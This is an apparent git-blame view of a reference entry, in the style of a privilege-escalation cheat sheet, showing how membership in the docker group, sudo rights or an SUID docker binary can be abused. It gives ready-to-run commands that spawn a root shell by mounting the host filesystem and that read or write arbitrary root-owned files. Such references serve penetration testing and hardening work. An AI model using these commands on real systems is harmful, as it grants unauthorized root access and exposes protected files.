2018-08-17 17:16:09 +02:00
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---
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2018-08-19 09:40:37 +02:00
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description: |
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2019-07-02 14:55:40 +02:00
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This requires the user to be privileged enough to run docker, i.e. being in the `docker` group or being `root`.
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2018-08-17 17:16:09 +02:00
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functions:
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2019-07-02 14:55:40 +02:00
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shell:
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- description: Any other Docker Linux image should work, e.g., `debian`. The resulting is a root shell.
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code: docker run -v /:/mnt --rm -it alpine chroot /mnt sh
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2019-07-02 15:53:28 +02:00
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file-write:
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- description: Write any file by copying it to an existing container and back to the target destination on the host. The file will be owned by root.
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code: |
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CONTAINER_ID=existing-docker-container
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echo "sensitive config" > /tmp/file.txt
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sudo docker cp /tmp/file.txt $CONTAINER_ID:/tmp/file.txt
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sudo docker cp $CONTAINER_ID:/tmp/file.txt /target/destination.txt
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file-read:
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- description: Read any file by copying it to an existing container and back to a new location on the host.
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code: |
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CONTAINER_ID=existing-docker-container
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sudo docker cp /root/protected.txt $CONTAINER_ID:/tmp/file.txt
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sudo docker cp $CONTAINER_ID:/tmp/file.txt /home/user/file.txt
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cat /home/user/file.txt
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2018-10-05 19:55:38 +02:00
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sudo:
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2019-07-02 14:55:40 +02:00
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- description: Any other Docker Linux image should work, e.g., `debian`. The resulting is a root shell.
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code: sudo docker run -v /:/mnt --rm -it alpine chroot /mnt sh
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2018-10-05 19:55:38 +02:00
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suid:
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2019-07-02 14:55:40 +02:00
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- description: Any other Docker Linux image should work, e.g., `debian`. The resulting is a root shell.
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code: ./docker run -v /:/mnt --rm -it alpine chroot /mnt sh
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2018-08-17 17:16:09 +02:00
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---
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